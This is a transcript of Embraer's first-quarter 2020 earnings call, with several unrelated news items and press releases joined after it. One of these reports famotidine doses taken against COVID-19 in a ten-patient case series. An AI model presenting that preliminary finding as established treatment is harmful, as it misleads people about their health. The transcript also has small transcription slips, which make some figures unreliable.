Embraer has based these forward-looking statements largely on its current expectations and projections about future events and financial trends affecting the business and its future financial performance. These forward-looking statements are subject to risks, uncertainties and assumptions, including, among other things, general economic, political and business conditions in Brazil and in other markets where the company is present. The words believes, may, will, estimates, continues, anticipates, intends, expects and similar words are intended to identify forward-looking statements. Embraer undertakes no obligations to update publicly or revise any forward-looking statements because of new information, future events and other factors.

In light of these risks and uncertainties, the forward-looking events and circumstances discussed on this conference call might not occur. The company actual results could differ substantially from those anticipated in forward-looking statements. Participants on today's conference call are Mr. Francisco Gomes Neto, president and CEO; Mr.

Antonio Garcia, executive vice president, finance, and investor relations; and Mr. Eduardo Couto, director of investor relations. I would like now to turn the conference over to Mr. Francisco Gomes Neto.

Please go ahead, sir.

Francisco Gomes Neto -- President and Chief Executive Officer

Good morning, everyone, and thank you all for joining our call today. I am Francisco Gomes Neto, President and CEO of Embraer. I'd like to make some initial remarks before passing to Antonio Garcia, our CFO, that will explain the results. We are living unprecedented times in the world with the COVID-19 outbreak this year that has brought meaningful impacts to our industry, productivity to the markets and uncertainties to our customers, employees and suppliers.

I strongly believe that in difficult times like this, we need to stay focused on our strategy. I have chosen five main areas that, in my view, will make Embraer to emerge even stronger of this crisis. On Slide No. 3, we highlight them.

First, and most important one, the health and safety of our employees. Our priority is and will continue to be to protect the health and safety of our people. We have been taking many measures to protect our associates who need to perform work on site. Measures such as sanitizing common areas and workstations, use of masks, adopting cafeterias in work areas to ensure appropriate social distancing and providing medical support and guidance in compliance with all the World Health Organization recommendations.

Second, cash preservation. Embraer has launched a cash management team. We have daily meetings to discuss our current liquidity and defining actions to preserve our cash. As for example, strict expense control, very high focus on account receivables, inventory reduction and a more robust investment approval process.

Such initiatives will help us to close this crisis and will remain as new processes in our company after the crisis. Third, recapture synergies. We are already working to eliminate duplications and regaining synergies in our Commercial Aviation. We will manage this business along with the others to be more efficient, eliminating redundancies and reducing costs.

Fourth, business plan update. We are working with the leaders of each one of our business units to review our five-year projections in the light of market conditions, establishing strategic initiatives, potential partnerships, targets, KPIs and a well restructured execution process with focus on growth, cash generation and profitability. And finally, our fifth area of focus is to build a lean and efficient organization. Before the pandemic, part of my time was dedicated to visit Embraer sites around the world.

I'd like to be very close to the teams into where our products are made. I had great conversations with leaders of different sites, different areas and many levels of our organization. And I'm strongly convinced that we have a lot of opportunities to make Embraer a more lean and efficient organization. Hosting initiatives as operational and commercial excellence, programs to reduce costs of our products and always keeping our innovation DNA.

I'm very positive that Embraer will exit this crisis much leaner, more efficient and competitive to grow profitably in the years ahead. Now before moving to Antonio, I want to highlight some important initiatives related to social responsibility that Embraer has been performing in Brazil and abroad. At Slide No. 4, we highlight that Embraer has been working with its supply chain to produce around 5,000 ventilator parts in Brazil.

We made a partnership with the Albert Einstein Hospital to make 700 intensive care units available. Embraer is also producing face masks in Florida to be used in our U.S. facilities. The Brazilian government is deploying our KC-390 Millennium to transport supplies, medical equipment and ambulance to several locations in Brazil.

And Embraer has also donated 40,000 COVID tests to the Brazilian public health system. With that, I conclude my initial remarks and would like to pass the call to our CFO, Antonio Garcia. Thanks for your attention.

Antonio Garcia -- Executive Vice President, Finance, and Investor Relations

So thank you, Francisco. It's a great pleasure to talk to all of you. Now moving to Slide No. 6.

As Francisco mentioned, we are operating during unprecedented times with developments regarded to the COVID-19 pandemic, evolving almost daily and growing risks to the global economy, our industry, customers and other stakeholders. Despite all uncertainties, Embraer's liquidity position remains solid with our continuous cash discipline. At the end of the first quarter, we finished with a total cash of $2.5 billion and a good debt situation with no major maturities coming due until 2022. We are also in discussion with local and international banks to bring additional financial lines to further strength our liquidity in short term.

I cannot give you details now, but I expect to have news to share with the market in the coming weeks. On a different subject. During the first quarter, we finished the internal segregation of the Commercial Aviation business, which basically shut down the whole company during the month of January as we transitioned all of our operating system, which impacted our deliveries during the quarter. Then as we already disclosed around a month ago, we received notice from Boeing regarding their interest to terminate the strategic partnership between our two companies in the Commercial Aviation business.

Embraer has been in compliance with all of the conditions under the agreement, and we will work in the arbitration process to pursue any and all remedies available to compensate Embraer for the wrongful termination of the agreement by Boeing. We will not make further comments on the arbitration procedures, given its confidentiality aspects. By the way, the COVID-19 and the termination of the MTA caused a delay in our closing procedures, and we should be fast in the coming quarters with our report. With respect to the COVID-19 impact, we are seeing the biggest impact in the Commercial Aviation business, while Executive Jets so far remains fairly resilient as well as Defense & Security.

We continue to discuss deferrals with our commercial customers. And up until now, we haven't received any cancellation request. The good news is that key markets for Commercial Aviation in Europe and United States are already resuming operation and in many cases, using smaller regional jets that should lead the aviation recovery. So Slide 7.

Let's talk about the measures for cash preservation. We create in beginning of March a cash management team, and we have daily discussion about our cash position, and it's a forum where we have the whole management team take decision with the one subject  one target is the cash preservation. In regards to our order book and cash inflows, we have been daily monitoring our orders and market conditions with an increased focus on receivables collection. We are also rightsizing our production plan with the real-time planning and direct supplier negotiation to check the parts delivery and postponed payments.

We were able to reschedule deliveries with all of our main suppliers, and we thank our supplier for it. Regarding the workforce, our HR team and the leadership did an outstanding job. We reached an agreement with our unions for furloughs and workday salary reductions. It's important to highlight that the sale reduction has included all of our leadership, including senior management and our Board of Directors.

We have more than 50% of our Brazilian workforce under this program. And I'm proud of the speed with which we responded to the COVID pandemic with this temporary workforce adjustment. We will continue to evaluate the structure of the company following the termination of the arbitration of Boeing and work to make Embraer as efficient as possible and capture our synergies. Finally, we are reducing inventory levels, cut investments and expenses with a strong discipline and cost control.

I'm very proud of Embraer team's response to the cash preservation action so far. Moving to Slide 8. We show highlights for the Commercial Aviation business. During the first quarter, Embraer delivered five E-Jets.

It's important to note that the first quarter, it's always seasonally weak. And this year, we were closed during the month of January as we work to finish the carve-out of the Commercial Aviation business. As far as orders, we didn't have any cancellation since COVID-19 outbreak, and we are working closely to our customers to adjust our deliveries to their current needs, which should bring deferrals to our deliveries. In terms of new order, SkyWest placed an order for 20 E175 aircraft, which brings the total number of orders for SkyWest to the impressive mark of 180 planes since 2013.

We also display the E195-E2, which recently entered service in the second half of 2019, at the Singapore and India air show prior to the worsening of the COVID-19 outbreak. And finally, we would like to reinforce the statement of the International Air Transportation Association, IATA, that expects regional aviation to lead their travel recovery in the upcoming months. Slide No. 9.

Some highlights about Executive Aviation. During the first quarter, we delivered a total of nine business jets, of which five were light jets and four were large jets. We are proud to see the new enhanced Phenom 300E receive triple certification from FAA in the United States, EASA in Europe and ANAC here in Brazil. In terms of sales activities, our bizjet customer reconfirmed their orders for the year with few deferrals, and we maintain our book-to-bill of 1:1.

As far as operations, Embraer Executive Jet facility in Florida were defined as essential operation in the state, and we did not close, continuing with aircraft production, final assembly and customer deliveries. Also, Embraer Executive Jets has offered its business jets demonstrators to be available to transport critical patients in need of medical treatment during this pandemic. Moving to Slide 10 to talk about defense. The Defense & Security business celebrates the official signing of the contract with the Brazilian Navy and which Embraer is working with thyssenkrupp for the production of four ships to be delivered between 2025 and 2028.

The first Super Tucano destined to the Nigerian Air Force performed its inaugural flight and Embraer signed an additional contract for two Super Tucanos for U.S. Air Force Special Operations Command. As far as the KC-390, currently, we have six KC-390 cargo aircraft under different stages of production for the Brazilian Air Force as well as Portugal, and we expect to deliver two KC-390s this year to the Brazilian Air Force to continue to modernize their fleet with this state art of plane. As I mentioned before, the Brazilian government has been used their two KC-390s already delivered for logistics operations across our country to help in the combat against the COVID-19 pandemic in Brazil.

And finally, an important milestone for the Brazilian Air Force Gripen project. We have the first metal cut for the F version of this fighter jet, which is a 2-seat version that Embraer is developing together with FAB. Let's go to the financial results, Slide No. 12, our backlog.

Our first-quarter 2020 backlog was valuated at USD 15.9 billion, which although slightly lower than the 16.8% of the end of the year, it still represents several years of deliveries across our business units. Some of the reduction is mainly driven by the FX conversion of contracts in local currency. Next, Slide 13, we presented the aircraft delivery starting with the Commercial Aviation. As I mentioned previously, the first quarter is usually the slowest in terms of deliveries for both commercial and Executive Jets.

Plus this year, it was impacted by the fact that in January our operations were largely paused to the entire month in order to complete the segregation of the Commercial Aviation business. Embraer delivered a total of five commercial jets and nine Executive Jets during the first quarter. Moving to Slide 14, net revenues. In the terms of consolidated revenues, Embraer reported USD 634 million in the first quarter of 2020, which was down around 20% from the last year first quarter, most driven by the lower commercial deliveries and the impact of the blackout period in January 2020.

Commercial Aviation revenue reached USD 140 million; Executive Jets, $130 million, driven by the better mix of deliveries in the quarter, especially with the delivery of three Praetor 600s and one Praetor 500; Defense & Security, $149 million; and Services, $230 million. Next slide, on Slide No. 15, we present the SG&A expenses for Embraer. Overall, we have a positive trend in our SG&A expenses.

In the first quarter, we had some adjustment due to the collective vacation in January and the temporary paid leave in March to close the facilities in response to the COVID-19 pandemic. Regarding the increase of selling expenses, this was mainly driven by higher adjustments for bad debt provision, given the COVID-19 pandemic's risk effect. This was around $33 million in additional provision for the first quarter and the selling expenses. Moving to operating results at Slide 16.

Embraer reported adjusted EBIT of $9 million in the first quarter of 2020 with a margin of 1.4%. The adjusted EBIT in the first quarter excluded roughly $55 million in noncash items related to the COVID-19 outbreak. It's important to highlight that our adjusted EBIT in the first quarter includes separation costs of $21.8 million comparing to the $12.3 million in separation costs booked in the first quarter of 2019. Even with higher separation costs this year, operating results were better than last year, mostly driven by higher margins in the executive and defense.

So next slide, 17, we show the adjusted EBITDA. Embraer first-quarter adjusted EBITDA also excluded the cost related to the COVID-19. Adjusted EBITDA reached $65 million of a margin of 10.2% for the period, which represents a significant improvement compared to the $31 million in EBITDA and 3.8% EBITDA margin in the last year for the first quarter. Moving to the next slide, 18, we present net income.

Embraer's adjusted net income reached a loss of USD 104 million in the first quarter, implying a negative margin of 16.4% for the quarter. Our earnings have been negatively impact by the combination of the separation costs similar to the impacts already showed in the EBIT and EBITDA and higher financial expenses. Our reported net income was much bigger loss of $292 million but mostly driven by the deferred income taxes items that has been triggered by the Commercial Aviation drop down for the deal conclusion, which is not the case anymore. On Slide 19, we present Embraer investment and capex development.

During the first quarter, Embraer invested $47 million, of which researching expenses were $6 million, development was $28 million and capex $30 million. And in regards to development, the most part of the investment was for the E175-E2. Next slide, Slide 20, we show the company's free cash flow. First-quarter free cash flow usage is almost always the highest during the year, generally due to the lower deliveries and high investments in working capital to prepare for higher deliveries in the remainder of the year.

In the first quarter of 2020, our free cash flow was negative $677 million, which is healthy in line with our free cash flow usage in the last year first quarter. Finally, on Slide 21, we show our current indebtedness profile. Our net debt position at the end of the first quarter stood at USD 1.3 billion, with a robust total cash position of USD 2.5 billion and the total debt of $3.8 billion. We are confident in our liquidity position at the present as we have no major debt maturities until 2022 and '23, and we continue to work in additional financial lines.

Our debt to maturity is mostly concentrated in long term with four years duration. With that, I conclude my presentation. I'm pretty confident that Embraer remains and will continue to be stronger. And please, operator, you can open for the Q&A session.

Thank you.

Questions & Answers:

Operator

[Operator instructions] Our first question comes from Myles Walton, UBS.

Myles Walton -- UBS -- Analyst

Antonio Carlos, maybe you can provide the margins by segment. It sounded like kind of like Defense & Security and executive aviation actually had pretty good performance. So if you can just highlight that. And then I had a couple of other questions.

Francisco Gomes Neto -- President and Chief Executive Officer

Myles, yes, as you said, we had a very good quarter for executive and defense. Executive margins were around 2%, positive margins, as we have been saying, executive margins are recovering. Now we have a very solid portfolio of products with the finance and operators, and it's helping the margins and that is shown in the results. In defense, also, as you mentioned, as we concluded the KC-390 development, margins would improve.

And that's also already showed in the results. We have double-digit margins slightly above 10% for defense. Also good margins given the conclusion of the KC development. On commercial, margins were affected by very low deliveries, right? As Antonio mentioned, we were shut down in January.

We only had five deliveries, so margins in commercial were slightly negative. And finally, on service, we keep our double-digit margins as we have been showing in the last couple of quarters.

Myles Walton -- UBS -- Analyst

OK. Great. And then for the free cash flow, Antonio Carlos, I know you're in the process of securing financing and looking at ways of cash preservation. As you look at it today, for the remaining three quarters of the year, will free cash flow be positive?

Antonio Garcia -- Executive Vice President, Finance, and Investor Relations

Myles, I would say the Q2 will be also a tough quarter for us. But then as we always do, we will recover in Q3 and Q4. I do see a pressure in Q2 because we have the biggest impact of COVID on the cash flow side and then like to see a recovery in Q3 and Q4, if nothing changed in the current scenario that we are living right now.

Myles Walton -- UBS -- Analyst

OK. So you think year-end balance sheet position is similar to where it is right now?

Antonio Garcia -- Executive Vice President, Finance, and Investor Relations

Let's say, a little bit above $2 billion in regards to the liquidity, more or less our target.

Myles Walton -- UBS -- Analyst

OK. And the last one, Francisco, the slide on short-term strategy is helpful. Can you give a comment toward the medium-term strategy of the company? And whether recombining what has already been separated is something that you're pursuing in the medium term or are you looking at other alternatives?

Francisco Gomes Neto -- President and Chief Executive Officer

Sure, Myles. We are just in the process to review our five-year strategy plan, I mean with a high focus on the commercial aviation, but also we view this five-year plan for the other business units as well in the light of the COVID situation. So we expect to complete this process in a few months. And in this process, we are evaluating all the possible, possible actions we can take, including potential partnerships.

Operator

Our next question comes from Ron Epstein, Bank of America.

Ron Epstein -- Bank of America Merrill Lynch -- Analyst

Can you give us a feeling for how your conversations are going with your customers? There's a narrative that regional aviation smaller capacity aircraft could lead us out of this downturn. Are you seeing any evidence of that with your customers? And if you are, can you give us any feel for what you're hearing?

Francisco Gomes Neto -- President and Chief Executive Officer

Well, we have, at this point of time, a quite stable situation. We have seen some deferrals of our customers, but no cancellations. We might have some change in the following months depending on the progress how this crisis evolves. But at this point of time, I mean we believe our situation is quite stable in terms of production program for 2020 and 2021.

Ron Epstein -- Bank of America Merrill Lynch -- Analyst

OK. And then if we shift to the business aviation end market, the margins this quarter were better than I think folks were expecting. How does the demand front look? Have you seen any deferrals or cancellations there? Or what's going on in the business aviation side?

Francisco Gomes Neto -- President and Chief Executive Officer

Well, the business aviation has suffered much less than the Commercial Aviation. We had a few deferrals for this year. And we might have more opportunity next year because, I mean, more executives might increase the yield of share in flights or even decide to buy their own jets for a more reserved transportation. The executive aviation might be an opportunity after this post-COVID.

And by the way, although our Commercial Aviation, although we believe the regional and domestic flights should start earlier, I think this will be a good opportunity for our E-Jets, I mean, to recover first and also the respective service for those jets.

Ron Epstein -- Bank of America Merrill Lynch -- Analyst

Thank you.

Operator

Our next question comes from Josh Milberg, Morgan Stanley.

Josh Milberg -- Morgan Stanley -- Analyst

Your comment on where you see cash at the end of the year was very helpful, but I was hoping you could update us a little further on the target of $1 billion in potential cash savings for 2020 that you touched on, on the last call. And specifically, I was hoping you could address the capex and product development of that. And just what kind of investment flexibility you see around the E2 program? That's my first question.

Francisco Gomes Neto -- President and Chief Executive Officer

Josh, yes, as we mentioned on the previous call, we continue to work very hard on the cash side. We have this cash management team that Antonio is leading, and we have been able to identify a lot of potential cash savings. This is going to be very important for us to offset some of the deferrals, especially in commercial. So I would say, overall, the cash situation has been stable in the last four to five weeks, which is very good.

So we are working hard to reduce investments. In terms of the workforce, we have more than 50% of our workforce in work hours and salary reductions. So all those initiatives combined with suppliers that we are renegotiating orders and also postponing payments, all of that will help a lot our our cash consumption this year. First quarter is always the weakest quarter in terms of cash consumption, but the second quarter should be also a weak quarter, but after that, we expect to recover.

I don't know if Antonio wants to add.

Antonio Garcia -- Executive Vice President, Finance, and Investor Relations

Just to repeat that we are targeting to finish the fiscal year with liquidity around $2 billion. That's our target. It's more or less where we are today with some small adjustments. And we are also going down for investment, more than 50% in by the for all programs.

Josh Milberg -- Morgan Stanley -- Analyst

OK. That's helpful. But also taking a little bit of a longer-term view, can you just remind us of roughly what the amount of investment is due for the E2 program? And how much of that corresponds to the E2-175? And maybe also just comment on whether you've contemplated the possibility of a later entry into service for the E2-175.

Francisco Gomes Neto -- President and Chief Executive Officer

We don't have any assumptions. I was just going to add, Antonio. We don't have any decisions in terms of deferring our programs at this point. What we can say is really we have been spending the last couple of years around $400 million to $500 million in investments, and these numbers should go down quite substantially.

So investment should be more at the ballpark of $200 million to $300 million.

Antonio Garcia -- Executive Vice President, Finance, and Investor Relations

And in regards to 175-E2, we are revising our investment and our time lines. As soon we have a final compute, we are going to communicate to the market. But for now there is no change per se.

Josh Milberg -- Morgan Stanley -- Analyst

OK. That's very helpful. And then just one follow-up on the defense profitability. I think you suggested  and you had suggested in the past that your shift from the development to production phase of the KC could in fact mean higher profitability.

And but we've also seen very high levels of volatility in your margins in defense in the past. So just wanted to get a little bit of a better sense if you think that the margin that you had this last quarter is something that could be pretty recurring over the remainder of this year and beyond.

Francisco Gomes Neto -- President and Chief Executive Officer

That's a good question, Josh. As we have been saying, right, we had tough margins in defense in the last couple of quarters, mostly driven by the end of the development of the KC-390. Now that we are concluding the development and we are moving from development to production, we expect margins to get better. I think first quarter was already an indication of that.

We had double-digit margins in defense, and we expect defense margins to maintain at a healthy level as we move away from the KC development.

Antonio Garcia -- Executive Vice President, Finance, and Investor Relations

And by the way, we really still have a really small reduction in regards to revenue for the defense side, it's more or less stable, which gives us a kind of, I would say, comfort to go through the year with a nice number.

Francisco Gomes Neto -- President and Chief Executive Officer

And if you allow me also, when I mentioned in my initial remarks initiatives as operational excellence and cost reduction for specific products, we have projects to focus on cost reduction of the specific products and the KC is included in that project. So we expect that going forward to 2020, 2021, we expect a very high focus on this cost reduction programs of our products with a positive impact in the results of such products as well.

Operator

Next question comes from Alex Falcao, HSBC.

Alex Falcao -- HSBC -- Analyst

My question is regarding the news talking about a negotiation between you guys and BNDES for a debt facility. Can you give us any details on how would that work, size, any equity component into that? And secondly, given your perspective on where your cash is going to be earlier in the call, would that be necessary? Or it's going to be a standby facility, depending on how the environment evolves?

Francisco Gomes Neto -- President and Chief Executive Officer

OK. Our liquidity, as you said, right, remains quite strong. We closed the quarter with $2.5 billion in cash, very solid cash. Despite that, we continue to evaluate potential new finance lines.

We're not giving  disclose at this point, but we are confident that there is plenty of liquidity available for Embraer. And if it's necessary, we're going to continue to add liquidity to the company. So we don't see that as 100% necessary, but I think it's very important for us to keep a strong balance sheet, and we have the finance lines available if we want to improve that.

Antonio Garcia -- Executive Vice President, Finance, and Investor Relations

Just another comment here. If it's enough or not, I'd say $2 billion is our target because we also want to show that Embraer is still liquid that we still work in the market also for future business to close with our customers and, again, have no fear that we are able to do it, and we need to feel also that we have a strong financial position throughout this year, even with everything what you are seeing right now, OK? And for the time being, we don't want to comment about the financial line, but at the least, we do not see any equity as a priority right now.

Operator

Our next question comes from Mr. Cai von Rumohr, Cowen.

Cai von Rumohr -- Cowen and Company -- Analyst

So we're about two-thirds through your second quarter. Could you give us some color in terms of the demand for business jets or what you're seeing in the market and for commercial? For example, a number of the dealers we talked to said the first months of the quarter when COVID was coming out, there were no deals closing. Are there more deals closing now? And also, now that people have looked over their situation, are you seeing both in bizjets and in commercial more or less requests for deferrals?

Antonio Garcia -- Executive Vice President, Finance, and Investor Relations

OK. In regards to  for sure, we do see a huge amount of deferrals for the Commercial Aviation. And for the business jets, we have released, I would say, below two digits deferrals and especially the fleet owners, they are confirming their orders. And that's more or less the three-year seeing right now, highly concentrated in Commercial Aviation for this fiscal year in regards to deferrals.

Cai von Rumohr -- Cowen and Company -- Analyst

So bizjets, you have a chance of being close to where your earlier forecasts were in terms of as you see demand at this moment?

Antonio Garcia -- Executive Vice President, Finance, and Investor Relations

Yes, close. And even during the Q2 with all restrictions, Embraer still continues to deliver aircraft.

Cai von Rumohr -- Cowen and Company -- Analyst

Terrific. And then you mentioned kind of once we're through COVID, where the company is going longer term. You mentioned examining partnerships. I was surprised that you and Boeing didn't continue the partnership on the KC-390, which looks like it wouldn't require cash on their side.

It would have had a lot of benefits for both parties with limited investments. And could you comment on any other potential partnerships, like with the Chinese or others, just the ones that are potentially in the mix?

Francisco Gomes Neto -- President and Chief Executive Officer

All right, Cai, Francisco speaking. As I mentioned in my remarks, we are now in the process to review our five-year strategy plan. And of course, some initiatives are related to potential partnerships in the different business units. And of course, in markets like China, India and others are potential ones.

But we are in this moment reviewing and analyzing what could be the potential or possible business models for potential partnerships. Regarding the KC, the original business plan for the KC did not include the countries as U.S., for example. So the market perspectives remain positive for the KC-390 and, of course, I mean, here, we also have opportunities for future partnerships. But at this moment, we are still in the process to evaluate alternatives and possible business models.

Cai von Rumohr -- Cowen and Company -- Analyst

Does that include for the commercial business or just mainly the defense and bizjet businesses?

Francisco Gomes Neto -- President and Chief Executive Officer

No, commercial business, commercial business. For example, I can mention one project we have, the TP, the turboprop that we have started studies on this project. This project is a good candidate for a partnership with potential markets that might be very interested in having this aircraft.

Operator

Next question comes from Victor Mizusaki, Bradesco BBI.

Victor Mizusaki -- Bradesco BBI -- Analyst

I have three questions here. The first one, if you can give additional comments on the provisions for bad debt. If this is related to specific clients? No. 2, thinking about the second quarter, how much can we assume of savings with labor costs with all the initiatives that you mentioned? And then the last question, I mean, you mentioned that the target is to keep a minimum cash liquidity of like $2 billion.

But can you comment about the net debt position by year-end? What can we expect?

Antonio Garcia -- Executive Vice President, Finance, and Investor Relations

So I'm going to answer your first question. With regard to bad debt provision, we didn't change the procedure we have internally. What has been changed is the rating of the major customers and by evaluating this, we do prefer to build up additional provision in order to avoid [Inaudible]. Again, same methodology just changing, huge change in the ratings of our customers.

That's the answer for the first question.

Francisco Gomes Neto -- President and Chief Executive Officer

Regarding the labor costs, as Antonio mentioned, right, we were super agile to reduce labor costs and adjust our labor force to the COVID-19 situation, right? I think that was very important. And I think we are faster than most of the companies in the market. We were able to put more than 50% of our labor force in work hours reductions, reducing salaries and that includes the whole leadership, even the Board. So that will be an important saving.

That is part of the whole cash preservation initiatives. So we're not giving a number, but it's an important initiative. In terms of net debt, we are working hard on the cash preservation, and it's going to help to reduce the potential cash burn. We should close the year with net debt a little higher than last year, but we still don't have a number to provide at this point.

I don't know if Antonio wants to add something.

Operator

[Operator signoff]

Duration: 47 minutes

Call participants:

Francisco Gomes Neto -- President and Chief Executive Officer

Antonio Garcia -- Executive Vice President, Finance, and Investor Relations

Myles Walton -- UBS -- Analyst

Ron Epstein -- Bank of America Merrill Lynch -- Analyst

Josh Milberg -- Morgan Stanley -- Analyst

Alex Falcao -- HSBC -- Analyst

Cai von Rumohr -- Cowen and Company -- Analyst

Victor Mizusaki -- Bradesco BBI -- Analyst

More ERJ analysis

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A widely available indigestion medicine - which can be bought in pharmacies for just 8 - may curb Covid-19 symptoms in mild to moderate cases of the disease, a new study suggests.

Famotidine, sold as Pepcid AC, is a popular indigestion relief to reduce the production of stomach acid.

Famotidine can be taken in doses of 20-160mg, up to four times a day, for the treatment of acid reflux and heartburn.

The benefits of the drug for Covid-19 patients who were able to recover at home were felt within 24-48 hours, according to the findings of a small case series, in the journal 'Gut'.

The majority of the more than 25,100 people infected with the virus in Ireland have not needed hospital treatment.

Researchers said a rigorous clinical trial was now warranted to see if the drug could be an effective Covid-19 treatment.

The research, led by Cold Spring Harbor Laboratory Cancer Centre, Cold Spring Harbor in New York, reported on 10 people - six men and four women - who developed the Covid-19 infection, all of whom happened to have been taking famotidine during their illness.

The severity of five cardinal symptoms - cough, shortness of breath, fatigue, headache, and loss of taste and smell, as well as general unwellness - was measured using a version of a four-point scale normally applied to assess the severity of cancer symptoms.

Seven of the patients tested positive for Covid-19, using a swab test; two had antibodies to the infection; and one patient wasn't tested but was diagnosed with the infection by a doctor.

Their ages ranged from 23 to 71 and they had a diverse range of ethnic backgrounds and known risk factors for Covid-19 severity, including high blood pressure and obesity.

All started taking famotidine when they were feeling very poorly with Covid-19, the symptoms of which had been going on from two up to 26 days at that point.

The most frequently used dose was 80mg, taken three times a day, with the average treatment period lasting 11 days, but ranging from five to 21 days.

All 10 patients said symptoms quickly improved within 24 to 48 hours of starting famotidine and had mostly cleared up after 14 days.

Improvement was evident across all symptom categories assessed, but respiratory symptoms, such as cough and shortness of breath, improved more rapidly than systemic symptoms, such as fatigue.

Seven of the patients didn't experience any side-effects while on famotidine, and in the three who did, these were mild, and all but temporary forgetfulness were known side-effects associated with taking the drug.

While promising, the researchers point out that the findings might have been affected by 'the placebo effect' and the number of case study participants was small.

"Our case series suggests, but does not establish, a benefit from famotidine treatment in outpatients with Covid-19," they caution.

Meanwhile, Taoiseach Leo Varadkar yesterday joined world leaders at the virtual Global Vaccine Summit, where he pledged increased Irish support for Gavi, the global vaccine alliance.

Ireland is giving 18m over 2021-25 to help in the global effort to develop a Covid 19 vaccine and to support vaccination programmes worldwide.
Novadip Biosciences to unveil its 3M3 Platform at BIO Digital 2020



-Unique 3M3 tissue regeneration technology platform generates multiple product candidates: autologous, off-the-shelf and miRNA/exosome

Mont-Saint Guibert, Belgium, 4 June, 2020: Novadip Biosciences (Novadip or the Company), a clinical-stage biopharmaceutical company leveraging its unique tissue regeneration technology platform to generate multiple product candidates, announces that it will unveil details of its 3M3 miRNA delivery platform in a recorded presentation at the BIO Digital conference, which is taking place on June 8-12, 2020.

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The platform is capable of driving three distinct classes of product: (i) autologous cell therapies for critical size tissue reconstruction, (ii) allogeneic off-the shelf therapeutics for prevalent and complex tissue defects such as multi-level spinal fusion, diabetic skin wounds and maxillofacial fractures, and (iii) miRNA/exosome-based therapeutics for unattainable systemic tissue and other diseases such as osteoporosis and osteoarthritis, and certain solid tumors.

Novadip has already demonstrated clinical proof-of-concept with the autologous cell therapy line in bone reconstruction with two clinical trials ongoing in bone regeneration indications and advanced pre-clinical programs for skin. Furthermore the Company has meaningful in vivo data for future allogenic off-the-shelf therapeutics.

The market potential across all three product lines range could be worth in excess of $10 billion with future opportunities for partnering and licensing.

Story continues

The presentation at BIO Digital will be available on the conference website here . If you would like to speak with Dr. Denis Dufrane from Novadip please contact denis.dufrane@novadip.com.

Dr. Denis Dufrane, Chief Executive Officer, Chief Scientific Officer and co-founder of Novadip, commented: Novadips clinical work to date provides confidence in our ability to restore natural healing and we are now focused on rapidly bringing the benefits of the platform to bear across multiple indications and product formats. We look forward to generating further data in support of our unique tissue regeneration technology platform as we strive to address the unmet need in damaged tissue conditions.

- Ends -

Notes to editors

Novadip Biosciences

Novadip Biosciences is a clinical stage biopharmaceutical company leveraging its unique 3D tissue regeneration technology platform to generate multiple product candidates to address hard and soft tissue reconstruction for patients who have limited or no treatment options. The companys proprietary 3M3 platform is a 3-dimensional, extracellular matrix that utilizes adipose-derived stem cells to deliver highly-specific growth factors and miRNAs to mimic the physiology of natural healing and creates a range of products that address specific challenges in tissue regeneration. Novadips initial focus is on critical size bone reconstruction and its lead program is in development for a rare pediatric orthopedic disease. The company is also applying its 3M3 platform to develop truly novel off-the-shelf/allogeneic therapies to address more prevalent tissue defects and miRNA/exosome products for broader indications. For more information, visit www.novadip.com .

For further information, please contact:

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Denis Dufrane

Acting Chief Executive Officer, Chief Scientific Officer and co-founder of Novadip

+32 (10) 779 220

info@novadip.com

For media enquiries:

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Chris Gardner, Matthew Neal, Angela Gray

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The Mexico City prosecutor's office is looking into 10 private doctors and a government official, amid claims that more than 500 death certificates were falsified during the coronavirus pandemic.

Mexican newspaper El Universal reported Friday that the investigation was was opened up after the federal district's Health Protection Agency showed concerns over death certificates.

Causes of death were listed as respiratory failure, atypical pneumonia or viral pneumonia - but it is feared coronavirus could have been to blame instead.

Mexico City mayor Claudia Sheinbaum said the doctors did not include the coronavirus as the primary cause of death in the documents which were released during the ongoing global pandemic.

For unknown reasons, the doctors were also part of a scandal in which the death certificates were sold to third parties. At least 500 death certificates from January were reported missing in May.

Sheinbaum did not reveal why the death certificates were such a premium.

Workers move the body of a COVID-19 victim to the crematorium at a cemetery in Mexico City on June 2. The Mexico City prosecutor's office has opened up an investigation into 10 doctors who reportedly omitted the cause of death of

Cemetery workers dig graves at the San Lorenzo Tezonco Iztapalapa cemetery in Mexico City on Tuesday

DailyMail.com reached out to the Mexico City prosecutor's office for comment.

The Health Protection Agency raised suspicions when it discovered that the physicians did not visit the residences or clinics where the infected patients had died.

Of the 10 doctors being looked into, only three were identified by the prosecutor's office.

Figures released Friday showed 3,456 people had died of the virus in Mexico City, which had 28,389 confirmed cases.

Mexico has reported 12,545 coronavirus deaths and 105,680 infections. Its death totals rank it second in Latin America behind Brazil. Mexican health officials noted this week there are at least 47,000 suspected cases in the country and 314,063 people have been tested

The officials are worried that the bogus death certificates could pose a health threat to family members in the event COVID-19 had indeed caused the deaths.

It is unknown what type of legal punishment the doctors could face if they are found guilty of having withheld such information. The Mexico City Public Ministry is expected to assign the case to a judge soon.

Overall, Mexico has reported 12,545 deaths and 105,680 infections. Its death totals rank it second in Latin America behind Brazil.

Brazil has registered the second-highest amount of confirmed cases in the world behind the United States with 614,941 sickened patients. The virus has killed 34,021, third behind the U.S. and the United Kingdom.

Mexican President Andres Manuel Lopez Obrador defended his government's handling of the outbreak after reported deaths spiked this week.

At least 2,000 new COVID-19 deaths were documented Wednesday and Thursday.

Health officials said the fatalities included many deaths that happened weeks ago and have now been reclassified.

Deputy health minister Hugo Lopez-Gatell estimates the epidemic could cause at least 35,000 deaths but that as many as 60,000 could die 'in a catastrophic scenario.'

Mexico has at least 47,000 suspected cases in the country and 314,063 have been tested.
Three for Me: an exquisite narrative about a mans eventful journey through toils until finding a family that created history that still perpetuates to this day. Three for Me is the creation of published author Stanton Parsons, a retired carrier-based jet naval aviator who resides in Wildwood, Missouri.

Parsons shares, Three for Me is a book about a young man who experienced harsh, catastrophic events early in life and the trials and tribulations he experienced as he grew into adulthood and created a family history that exists today. Its a family tree that is alive, containing a multitude of events that he and his family went through along with some unique, amazing twists and turns along the way.

Published by Christian Faith Publishing, Stanton Parsonss new book is a riveting testament of resilience, hope, and faith amid the ordeals in life that ultimately define a person and grants him or her the desires of his or her heart.

Readers will be drawn into a mans awe-inspiring roller-coaster journey in life as he braves the storms and never yields to pain until finally attaining the blessings of glory and contentment.

View the synopsis of Three for Me on YouTube.

Consumers can purchase Three for Me at traditional brick-and-mortar bookstores or online at Amazon.com, Apple iTunes store, or Barnes and Noble.

For additional information or inquiries about Three for Me, contact the Christian Faith Publishing media department at 866-554-0919.
1. Bookkeeper

